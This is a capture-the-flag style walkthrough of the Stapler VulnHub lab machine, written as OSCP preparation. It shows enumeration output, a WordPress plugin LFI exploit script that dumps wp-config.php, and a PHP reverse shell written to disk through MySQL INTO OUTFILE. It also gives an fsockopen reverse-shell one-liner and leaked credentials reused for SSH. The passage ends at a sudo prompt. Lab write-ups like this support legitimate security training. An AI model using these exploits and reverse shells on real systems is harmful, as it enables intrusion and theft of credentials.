Stapler Vulnhub Writeup

Stapler Vulnhub Writeup

‘Stapler’ is the second machine from that I looked at as part of my OSCP preparations.

This one just requires good enumeration skills and leaving no stone unturned. This is a lesson I learned after discovering two different ways for privesc. I had been reading other writeups on this box and then I learned a third way of compromising this machine. I obviously hadn’t read notes posted on Vulnhub by the author, and neither did I pay FULL attention to the output from my enumeration tools. Sometimes the answer is hiding in plain sight.


Step 0: Target Discovery

So … as always, let’s see where our target is on the network with netdiscover.

netdiscover -i eth0 -r
 Currently scanning: Finished!   |   Screen View: Unique Hosts                                     
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                   
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------      08:00:27:5c:33:b9      1      60  PCS Systemtechnik GmbH                        08:00:27:f0:4b:5a      1      60  PCS Systemtechnik GmbH is the DHCP server … leaving to be the ‘victim’ machines

Step 1: TCP Open Port Scan

In the interests of speed, we’ll not focus on version scanning etc right now … we just want to see what’s alive

root@kali:~/vulnhub/stapler/recon# nmap -p- --open -oA staplerOpenTCPStarting 
Nmap 7.70 ( ) at 2018-07-20 10:22 EDT
Stats: 0:01:23 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 49.88% done; ETC: 10:24 (0:01:10 remaining)
Nmap scan report for
Host is up (0.00046s latency).
Not shown: 65523 filtered ports, 4 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
139/tcp   open  netbios-ssn
666/tcp   open  doom
3306/tcp  open  mysql
12380/tcp open  unknown
MAC Address: 08:00:27:EC:C5:52 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 132.47 second

Although some ports appear to be obvious, there are a few others such as ‘666’ being represented as ‘doom’ incorrectly - these are only the nmap defaults for specific port numbers. We need to do a more detailed scan to see what is actually alive.

Step 2: TCP Aggressive Port Scan

We can now do the agressive scan on the selected ports - a lot more surgical in comparison to doing so against all the ports (which arean’t all alive anyhow!).

# Nmap 7.70 scan initiated Fri Jul 20 10:27:38 2018 as: nmap -p 21,22,53,80,139,666,3306,12380 -A 
-oA agressiveStapler
Nmap scan report for
Host is up (0.00054s latency).

21/tcp    open  ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp    open  domain      dnsmasq 2.75
| dns-nsid: 
|_  bind.version: dnsmasq-2.75
80/tcp    open  http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
139/tcp   open  netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open  doom?
| fingerprint-strings: 
|   NULL: 
|     message2.jpgUT 
|     QWux
|     "DL[E
|     #;3[
|     \xf6
|     u([r
|     qYQq
|     Y_?n2
|     3&M~{
|     9-a)T
|     L}AJ
|_    .npy.9
3306/tcp  open  mysql       MySQL 5.7.12-0ubuntu1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 7
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, LongPassword, ConnectWithDatabase, ODBCClient, 
	DontAllowDatabaseTableColumn, SupportsTransactions, FoundRows, InteractiveClient, 
	Speaks41ProtocolOld, LongColumnFlag, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, 
	Speaks41ProtocolNew, SupportsLoadDataLocal, SupportsCompression, SupportsAuthPlugins, 
	SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: \x1BhH0\x0BgJ\x057+Rxk\x0Fe\x11b\x1Dm\x16
|_  Auth Plugin Name: 88
12380/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the 
following fingerprint at :
MAC Address: 08:00:27:EC:C5:52 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 39m59s, deviation: 34m37s, median: 59m58s
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2018-07-20T16:28:06+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2018-07-20 11:28:06
|_  start_date: N/A

1   0.54 ms

OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Fri Jul 20 10:28:43 2018 -- 1 IP address (1 host up) scanned in 65.54 seconds

Step 3 Initial Review of the Agressive Port Scan

We’ll go through the ports one by one …

TCP Port #21 (FTP)

  • The anonymous mode is working, but no directory listing available
  • Although we can tell we are dealing with vsftpd we don’t have a definite version number

The anonymous FTP access is confirmed, but it does tell us an interesting username (Harry), and a file called ‘note.’

root@009-klvfi200:~/vulnhub/stapler/recon# ftp
Connected to
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
Name ( anonymous
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             107 Jun 03  2016 note
226 Directory send OK.

A copy of the ‘note’ file was transferred to the attacking computer with the ftp ‘get’ command. The file contained the following

Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

So …. that’s another username to keep for later

TCP Port #22 (SSH)

From the NMAP scan we can tell that the victim is running OpenSSH 7.2p2 (Ubuntu 4). Rarely does OpenSSH present any juicy vulnerabilities, so let’s try interacting with the SSH service with one of the know usernames - ‘Harry’:

root@009-klvfi200:~/vulnhub/stapler/recon# ssh harry@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:WuY26BwbaoIOawwEIZRaZGve4JZFaRo7iSvLNoCwyfA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
~          Barry, don't forget to put a message here           ~
harry@'s password: 

So …. another username, Barry. Attempts were made to login to both accounts using ‘obvious’ passwords such as ‘password’, ‘harry’ and ‘barry’. None worked.

TCP Port #53 (DNS)

Version 2.75 of dnsmasq is running … that can be followed up later for any possible vulnerabilities.

TCP Port #80 (Web Server)

From the NMAP scan, the reference to PHP cli server 5.5 or later is interesting …. mostly with the emphasis on ‘cli’. The URL (IP address) is specified in a web browser. A ‘Not Found’ message was returned

Stapler Vulnhub Target Discovery - Web Server - 404

A quick attempt with ‘dirb’ reveals two interesting finds:

root@009-klvfi200:~/vulnhub/stapler/recon# dirb

DIRB v2.22    
By The Dark Raver

START_TIME: Sun Jan  6 19:29:59 2019
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:200|SIZE:3771)                                                   
+ (CODE:200|SIZE:675)                                                   
END_TIME: Sun Jan  6 19:30:11 2019

The files are examined …. nothing springs immediately to view, so, these are left for later.

TCP Port #139 (SMB)

Running version 4.3.9 of Samba. enum4linux is run to enumerate any potentially useful information. A few interesting finds were presented (snippets only of the full report shown):

|    Nbtstat Information for    |
Looking up status of
        RED             <00> -         H <ACTIVE>  Workstation Service
        RED             <03> -         H <ACTIVE>  Messenger Service
        RED             <20> -         H <ACTIVE>  File Server Service
        ..__MSBROWSE__. <01> - <GROUP> H <ACTIVE>  Master Browser
        WORKGROUP       <00> - <GROUP> H <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1d> -         H <ACTIVE>  Master Browser
        WORKGROUP       <1e> - <GROUP> H <ACTIVE>  Browser Service Elections

So the machine appears to be called ‘RED’

Another 2 usernames (‘kathy’, ‘Fred’) and confirmation of 2 listable shares:

[+] Attempting to map shares on
//$     Mapping: DENIED, Listing: N/A
//      Mapping: OK, Listing: OK
//        Mapping: OK, Listing: OK
//$       [E] Can't understand response:
WARNING: The "syslog" option is deprecated

An attempt is made to connect to the shares with smbclient. Firstly, with ‘kathy’ (at the password prompt, ‘enter’ was clicked):

root@009-klvfi200:~/vulnhub/stapler/recon# smbclient //
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jun  3 17:52:52 2016
  ..                                  D        0  Mon Jun  6 22:39:56 2016
  kathy_stuff                         D        0  Sun Jun  5 16:02:27 2016
  backup                              D        0  Sun Jun  5 16:04:14 2016

		19478204 blocks of size 1024. 16233720 blocks available
smb: \> 

Inside ‘kathy_stuff’ we find an interesting file called ‘todo-list.txt’. Similar to an ftp client, to download data from a victim machine via an smb session, just issue the ‘get’ command and the name of the required file.

smb: \> cd kathy_stuff
smb: \kathy_stuff\> ls
  .                                   D        0  Sun Jun  5 16:02:27 2016
  ..                                  D        0  Fri Jun  3 17:52:52 2016
  todo-list.txt                       N       64  Sun Jun  5 16:02:27 2016

		19478204 blocks of size 1024. 16233720 blocks available
smb: \kathy_stuff\> get todo-list.txt
getting file \kathy_stuff\todo-list.txt of size 64 as todo-list.txt (3.5 KiloBytes/sec) 
(average 3.5 KiloBytes/sec)
smb: \kathy_stuff\> 

The file is examined … yup, the references to ‘Office Space’ are coming fast! :-)

I'm making sure to backup anything important for Initech, Kathy

Inside the ‘backup’ folder there is a configuration file for the ftp server.

smb: \> cd backup
smb: \backup\> ls
  .                                   D        0  Sun Jun  5 16:04:14 2016
  ..                                  D        0  Fri Jun  3 17:52:52 2016
  vsftpd.conf                         N     5961  Sun Jun  5 16:03:45 2016
  wordpress-4.tar.gz                  N  6321767  Mon Apr 27 18:14:46 2015

		19478204 blocks of size 1024. 16233716 blocks available
smb: \backup\> 

The ‘conf’ is examined …. apart from paths to SSL cert related files and confirmation that the service is integrated with PAM, there isn’t really much going on.

TCP Port #666

From the initial NMAP scan, among the ‘garbled’ output, there was a reference to ‘message2.jpg’. So it was retrieved via wget …

Stapler Vulnhub Target Discovery - TCP Port 666

I looks like whatever application or service is running has crashed with a segmentation fault …. that could be a potential buffer overflow scenario to follow up on later. Right now though, we don’t have any real confirmation of what the app is. So …. best left to later.

TCP Port #3306 (MySQL)

We have a version number to review later: 5.7.12. The NMAP scan also contained a salt value … so perhaps that will be useful later when trying to decrypt content

TCP Port #12380 (Apache Web Server)

The NMAP data wasn’t very conclusive whatsoever. So … it was just loaded up in a browser to see what happened: Stapler Vulnhub Target Discovery - Web server TCP port 12380 Just a ‘coming soon’ page, but at least we gained another potential username …. Tim. The HTML source is viewed. Other than the fact that it is a template downloaded from, the only ‘HTML comment’ revealed another username (Zoe):

<!-- A message from the head of our HR department, Zoe, if you are looking at this, we want to hire 
you! -->

Looking for a robots.txt file just presented the same page.

Step 4: Taking a closer look at the web server on TCP 12380

Time to try a possible HTTPS variant for the same port just to see if anything different crops up. A change is observed.

Stapler Vulnhub Target Discovery - Website running on TCP 12380

There is a robots.txt file:

User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/

Following the first entry lead to being trolled …. see for yourself!

But …. for /blogblog/, we got presented with the following:

Stapler Vulnhub Target Discovery - Initech Office Life Blog

Yup, a reference to ‘Office Space’. It looks like a legitimate Wordpress site just by viewing the HTML, and a login page is also available. Possibly we can login via some credentials we find later. The urge to just throw a tool such as WPScan at the target is resisted (for now!).

Stapler Vulnhub Target Discovery - Wordpress Login for Initech Office Life Blog

Gobuster is used to do some light brute forcing. By default the tool is configured to run with 10 threads … however, this generated a lot of errors against the target. So … the -t (threads) switch was given a value of 1.

root@009-klvfi200:~/vulnhub/stapler/recon# gobuster -k -u 
-w /usr/share/dirb/wordlists/common.txt -t 1

Gobuster v2.0.0              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 1
[+] Wordlist     : /usr/share/dirb/wordlists/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
2019/01/19 21:45:20 Starting gobuster
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/announcements (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/robots.txt (Status: 200)
/server-status (Status: 403)
2019/01/19 21:45:27 Finished

A number of interesting entries (beyond what we already know): announcements, javascript and phpmyadmin.

Looking at announcements:

Stapler Vulnhub Target Discovery - 'Announcements hidden folder'

The ‘message.txt’ link is clicked, revealing:

Abby, we need to link the folder somewhere! Hidden at the mo

Another username for the list. Just on a hunch, perhaps webdav is enabled (even though nmap didn’t find it). The cadaver tool is used to find out more:

root@009-klvfi200:~/vulnhub/stapler/recon# cadaver
WARNING: Untrusted server certificate presented for `Red.Initech':
Certificate was issued to hostname `Red.Initech' rather than `'
This connection could have been intercepted.
Issued to: Pam: I give up. no idea what to put here., Initech, Really, what are you meant to put 
here?, Somewhere in the middle of nowhere, UK
Issued by: Pam: I give up. no idea what to put here., Initech, Really, what are you meant to put 
here?, Somewhere in the middle of nowhere, UK
Certificate is valid from Sun, 05 Jun 2016 16:34:34 GMT to Wed, 03 Jun 2026 16:34:34 GMT
Do you wish to accept the certificate? (y/n) y
Could not access /announcements/ (not WebDAV-enabled?):

So … WebDav is not enabled, but because of the SSL certificate issue, at least we have another username for the list to use later perhaps.

Moving onto ‘phpmyadmin’ we get a login page:

Stapler Vulnhub Target Discovery - phpMyAdmin login screen

As can be seen, a few default username and password combinations were tried. Nothing worked, so this is marked for further follow up. The version number can be found via - I just happened to be already aware of this, but you could also find it by applying a ‘recursive’ switch to your preferred directory/file http brute force tool.

Interestingly enough, gobuster doesn’t do recursive searches - but dirb does with the -r switch.

Stapler Vulnhub Target Discovery - phpMyAdmin version information

Now we have a version number for further follow-up:

Summary of Initial Recon

So what do we have at this point?

  • Some usernames - at least 2 (Harry, Barry) that may have SSH access - these will be used against any discovered passwords
  • The SSH server is OpenSSH 7.2p2 Ubuntu 4 …. Unlikely to have problems. Could brute force, but not very stealthy and could take a long time. Besides …. It MAY possibly be key based authentication …
  • The smb share might be useful for exfil later, or perhaps getting tooling onto the box if need be. The latter could also be accomplished anyhow from a low priv shell.
  • A wordpress app running https over a high port
  • The ‘announcements’ folder running on the high tcp port doesn’t seemed to be used for much. No HTTP PUT/WebDav, so nothing to see here.
  • The ‘admin’ folder (not the wordpress one) is just a red herring …. Nothing to see there.
  • PhpMyAdmin: we need creds. Either we get that via brute force, able to exploit some local file inclusion issue or gain a low priv shell.
  • MySQL - can we get access to the creds perhaps and then login to perform some ‘outfile’ based queries?
  • A vsftpd 3.x ftp server that takes an anonymous login, but won’t allow basic commands - parked for now

The Priorities:

  • wp-scan on Wordpress - potentially look at brute force the login, but let’s see if there are any vulnerabilities in the core app or the available plugins
  • Perform cmsmap scan on wordpress, if wp-scan doesn’t show anything or appears inconclusive
  • Build cewl word list based on the Wordpress site if needed (not much content though)
  • Brute force the wp-admin feature using the cewl wordlist. If that fails, try other lists (smaller first)
  • Once passwords are gained … determine if they can be re-used with any of the ssh accounts
  • If Wordpress passwords can’t be re-used:
    • Upload a malicious plugin or upload a php cmd shell
    • Establish a reverse shell
  • Lower priorities
    • Any passwords work with ftp?
    • Upload webshell/reverseshell
    • Do any determined passwords work with mysql?

Detailed Recon on Wordpress

Step 0: Running wpscan

The scan is run with the following syntax:

root@kali:~/vulnhub/stapler/recon/wpscan# wpscan -u 
--disable-tls-checks -e,u,ap,tt,at -v --log /root/vulnhub/stapler/recon/wpscan/wpscanfullStapler.txt

The configuration options will result in a fairly agressive scan and will generate a LOT of noise, so not really the wisest thing to do in a Red Team scenario. But this isn’t a Red Team scenario! :-). An explanation of the switches

--disable-tls-checks: The site is using a self-signed certificate, plus the scan was done against an IP address and not a domain name. This option will force wp-scan to ignore any errors.

e: We are going to enumerate a bunch of items:

  • u: Users
  • ap: All plugins. We don’t want to miss anything
  • tt: Timbthumbs. Used to generate image thumbnails - notorious for being a source of vulnerabilities.
  • at: All themes.
  • v: verbose. Gotta love the detail.
  • log: Self-explanatory. In case we want to retrace our steps later.

Step 1: Review wp-scan findings

Only a summary will be presented … there are a LOT of findings. Run the tool against the target to find out more.

  • Version 4.2.1
  • A lot of cross-site scripting stuff. All very well if we want to pwn other victims using the site, but that doesn’t apply in this case.
  • There are 4 SQL injection findings … keeping these for later. Always aiming for the lowest hanging fruit first.
  root@kali:~/vulnhub/stapler/recon/wpscan# cat wpscanfullStapler.txt | grep SQL
  [!] Title: WordPress <= 4.2.3 - wp_untrash_post_comments SQL Injection 
  [!] Title: WordPress 3.5-4.7.1 - WP_Query SQL Injection
  [!] Title: WordPress 2.3.0-4.8.1 - $wpdb->prepare() potential SQL Injection
  [!] Title: WordPress 2.3.0-4.7.4 - Authenticated SQL injection - only useful if we have creds

We have a bunch of usernames

    | Id | Login   | Name            |
    | 1  | john    | John Smith      |
    | 2  | elly    | Elly Jones      |
    | 3  | peter   | Peter Parker    |
    | 4  | barry   | Barry Atkins    |
    | 5  | heather | Heather Neville |
    | 6  | garry   | garry           |
    | 7  | harry   | harry           |
    | 8  | scott   | scott           |
    | 9  | kathy   | kathy           |
    | 10 | tim     | tim             |
  • And a number of plugins. At this point we will divert our attention to just 2 (the others are fairly common and don’t lead to any authentication bypasses or remote code execution)
    • advanced-video-embed-embed-videos-or-playlists - v1.0
    • two-factor 0.1-dev-20180225 … this MIGHT be a problem later … i.e. if we get a correct username/password combo, we could have a further roadblock to get past.

Plugin Examination

A quick search within searchsploit for advanced video:

root@kali:~/vulnhub/stapler/recon/wpscan# searchsploit advanced video
----------------------------------------------------------- ----------------------------------------
  Exploit Title                                             |  Path
                                                               | (/usr/share/exploitdb/)
----------------------------------------------------------- ----------------------------------------
WordPress Plugin Advanced Video 1.0 - Local File Inclusion | exploits/php/webapps/
----------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

So, this is a local file inclusion (LFI) exploit, and it is possible to make unauthenticated posts too:[FILEPATH]

The ‘thumb’ parameter is the vulnerable component. This item has now gone top of the list for exploitation.

Exploitation - Wordpress

Step 0: Exploit customization

Examining the exploit, there is a need for a little customization - a URL:

url = "" # insert url to wordpress


url = "" # insert url to wordpress

Step 1: Troubleshooting the exploit

The exploit is saved, made executable and then run. But there is a problem - an SSL certificate verification failure:

root@009-klvfi200:~/vulnhub/stapler/exploit# python
Traceback (most recent call last):
  File "", line 43, in <module>
    objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title='
     + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
  File "/usr/lib/python2.7/", line 154, in urlopen
    return, data, timeout)
  File "/usr/lib/python2.7/", line 429, in open
    response = self._open(req, data)
  File "/usr/lib/python2.7/", line 447, in _open
    '_open', req)
  File "/usr/lib/python2.7/", line 407, in _call_chain
    result = func(*args)
  File "/usr/lib/python2.7/", line 1241, in https_open
  File "/usr/lib/python2.7/", line 1198, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed

The certificate is exported from the browser of the attacking Kali box. It is now possible to export a path for the certificate as follows:

export SSL_CERT_FILE=/root/vulnhub/stapler/exploit/RedInitech.crt

The exploit is re-run, but another error is presented:

ssl.CertificateError: hostname '' doesn't match u'Red.Initech'

This makes sense - we are using an IP address to execute the exploit, but the certificate is issued to a domain, which appears to be Red.Initech.

The /etc/hosts file on the attacking box is edited and saved (nano):       localhost       kali      Red.Initech  
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

The exploit needs to be edited for the target URL to refer to the fully-qualified domain name:

url = "https://red.initech:12380/blogblog" # insert url to wordpress

A number of other edits are made to print out the last - match. Multiple iterations of this attack could be perfromed to extract multiple files. Left unmodified, the exploit would return the contents of all files.

The final exploit now looks like:

import random
import urllib2
import re
from StringIO import StringIO

url = "https://red.initech:12380/blogblog" # insert url to wordpress

randomID = long(random.random() * 100000000000000000L)

objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title='
 + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content =  objHtml.readlines()
print content
for line in content:
        numbers = re.findall(r'\d+',line)
        id = numbers[-1]
        id = int(id) / 10

objHtml = urllib2.urlopen(url)
content = objHtml.readlines()

for line in content:
        if 'attachment-post-thumb wp-post-image' in line:
                urls=re.findall('"(https://.*?)"', line)
                if countLine==0:
                        finalURLs=myURLs.replace('', 'red.initech')
                        print "----------------------------------------------"
                        print "Fetching latest match for: " + finalURLs
                        print "----------------------------------------------"
                        print urllib2.urlopen(finalURLs).read()
                        print "\n"
                #print "The following matches were found: \n"

                #print urllib2.urlopen(myURLs[0]).read()

When the exploit is run, now we have access to the contents of wp–config.php, which shows that we have creds for MySQL:

root@kali:~/vulnhub/stapler/exploit# python
Fetching latest match for: https://red.initech:12380/blogblog/wp-content/uploads/56544489.jpeg
 * The base configurations of the WordPress.
 * This file has the following configurations: MySQL settings, Table Prefix,
 * Secret Keys, and ABSPATH. You can find more information by visiting
 * {@link Editing wp-config.php}
 * Codex page. You can get the MySQL settings from your web host.
 * This file is used by the wp-config.php creation script during the
 * installation. You don't have to use the web site, you can just copy this file
 * to "wp-config.php" and fill in the values.
 * @package WordPress

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

RESULT! The username is root and the password is plbkac.

Trying to login via SSH with the creds fail:

root@009-klvfi200:~/vulnhub/stapler/exploit# ssh root@
~          Barry, don't forget to put a message here           ~
root@'s password: 
Permission denied, please try again.
root@'s password: 

Time to try to log in to MySQL remotely

Exploitation (Low Priv Shell) via MySQL

So, why login to MySQL? It should be possible to use MySQL to generate a PHP file on the server which can be used to create a reverse shell back to the attacking box. If that is not possible, we can always revisit the Wordpress login mech - i.e. run a dictionary attack for the admin user and upload a shell through a number of means already mentioned.

Step 0: Connecting to MySQL on the target

root@009-klvfi200:~/vulnhub/stapler/exploit# mysql -uroot -pplbkac -h
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.7.12-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 

At this point, we have two possible paths open to gaining a reverse shell. Firstly, it would be possible to execute an SQL statement to output a PHP reverse shell script. We could also access the user hashes from the wp_users table within the Wordpress database. A password cracking tool such as john the ripper or hashcat could then be used to get the clear-text password. We’ll pursue the former option first - a little less work.

Step 1: Preparing the Reverse Shell Script

The general syntax is as follows:

Select 0x<<<hex payload here>>> into outfile "/var/www/https/blogblog/wp-content/uploads/<<<name_of_shelll>>>;

The uploads folder is chosesn as it should be normally be accessible to authenticate Wordpress users to upload files.

At this point, I’m going to go for a slightly longer route by avoiding a meterpreter session. For those of you preparing for your OSCP examination, you’ll probably know that you only get to use Meterpreter on ONE box only. So you’d better make it count! Hence why we’ll proceed a bit differently using a slightly modified version of the excellent php reverse shell from Pentestmonkey.

First things first, the exploit is customized with the IP of the attacking Kali box and the desired port.

set_time_limit (0);
$VERSION = "1.0";
$ip = '';
$port = 5555;

Since we’ll be using the the MySQL route to upload the reverse shell, the shell will be converted to hexadecimal. Purely in terms of manageability, the file is put on a bit of a diet by removing all of the comments and any eroneous empty lines (put in place by the original developer to make the code more readable).

Next up we need to remove all of the carriage returns and replace any of the tabs to indent the code with spaces instead. This was learned through trial and error when MySQL appeared to make a mess of things (although I daresay, a substantial part of the problem was in the chair and not the computer - i.e. me) and put in ugly backslash characters wherever there were tabs and carriage returns.

Removing the carriage returns:

paste -s -d ' ' reversemonkey.php > tempFile.txt

Replace the tabs with spaces:

sed 's/\t/     /g' tempFile.txt > phprshell.php

If you examine the contents of phprshell.php it will look like (only a small section is shown):

<?php set_time_limit (0); $VERSION = "1.0"; $ip = ''; $port = 5555; $chunk_size = 1400;

Now you need to convert the content of phprshell.php to hexadecimal (again, only a snippet of the output is shown):

root@009-klvfi200:~/vulnhub/stapler/exploit# cat phprshell.php | xxd -ps | tr -d '\n'

Now you need to construct your SQL statement - we’ll focus on show only the start and end:

Select 0x3c3f706870207365745f74696d655f6c696d6974202830293b202456455253494f4e203d2022312e30223b ...
***snip to ending ...***
... 207d20203f3e202020200a into outfile "/var/www/https/blogblog/wp-content/uploads/phprshell.php";

Step 2: Uploading the PHP Reverse Shell

You can now copy/paste the complete MySQL query string into your MySQL session and then press the enter key.

root@009-klvfi200:~/vulnhub/stapler/exploit# mysql -uroot -pplbkac -h
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.7.12-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> Select 0x3c3f706870207365745f74696d655f6c696d6974202830293b202456455253494f4e20 ...
... 207d20203f3e202020200a into outfile "/var/www/https/blogblog/wp-content/uploads/phprshell.php";
Query OK, 1 row affected (0.00 sec)

MySQL [(none)]> 

Step 3: Setup a listener and trigger the reverse shell

Setup a listener in the normal way (make sure you checked for the correct port number):

root@009-klvfi200:~# nc -nlvp 5555
listening on [any] 5555 ...

If you take a look at the /blogblog/wp-content/uploads folder in your browser, you should see something like the following:

Stapler Vulnhub - Triggering the Reverse Shell

Click on the link for phprshell.php (or whatever name you specified in the MySQL query earlier) … and a reverse shell has been returned! :-)

root@009-klvfi200:~# nc -nlvp 5555
listening on [any] 5555 ...
connect to [] from (UNKNOWN) [] 39042
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 
 21:45:10 up 13:00,  0 users,  load average: 0.00, 0.02, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

At this point, I’d like to mention a couple of alternatives. First of all, it would have been possible to generate a php reverse shell via msfvenom. While it will work, the resulting shell will only have a short life … the connection appears to timeout. The timeout doesn’t happen with the pentestmonkey script. During this time you would have to issue another reverse shell back to your attacking Kali box with (substitute the IP address and port number as appropriate):

php -r '$sock=fsockopen("",4444);exec("/bin/sh -i <&3 > &3 2>&3");

Somewhat inefficient in my opinion … and besides, I now have a solution that I can use in a multitude of other PHP and MySQL scenarios. A handy trick for the toolbox.

Secondly, instead of using the the MySQL utility to upload the reverse shell script, it would have been possible to use the phpmyadmin facility. The same creds found in the wp-config.php file will work just fine for the phpmyadmin login! This is left as an exercise for the reader.

Now it’s time to get root!:

Privesc (Option 1 of 3)

There are 3 known privesc options known at the time of writing … but I’m only going to show 1 for now … when i get time to write up the other two paths properly, I’ll add them in.

I’m a big fan of automation wherever possible, anything that helps me gather a lot of information very quickly. I don’t rely solely on any one specific tool, but I’m a big fan of LinEnum. Scripts such as LinEnum are always a great ‘first try’ before getting stuck into the finer points of g0tmlk’s excellent guide to privesc. I’m amazed at his modest claim that he is ‘no expert’ - that made me laugh.

Regardless … the LinEnum tool was uploaded via wget from the reverse shell and then made executable (chmod +x Probably not the best choice in terms of operational security (‘OpSec’), but the Wordpress ‘uploads’ folder was chosen.

Step 0: Running LinEnum

The script was run per the following:

./ -r privescRedInitech -e /var/www/https/blogblog/wp-content/uploads -t

A brief explanation of the switches: -r: Choice of name for reporting stem -e: Folder to output the report -t: Be ‘thorough’. A bit slower, but it’s worth the wait (go have a coffee)

Step 1: Analyzing the LinEnum report output

There is a LOT of gold in the report, but the first port of call is to look for passwords. Lo and behold, LinEnum points us to the following interesting detail found in /home/JKanode/.bash_history:

sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost

An attempt is made to login in as JKanode. While it worked, running sudo -l result in a Sorry, user JKanode may not run sudo on red. The account is put to the side.

Logging in as peter also worked (albeit have to press option 0 regarding the .zshrc issue)and it did have an interesting result when an attempt was made to sudo -l:

red% sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

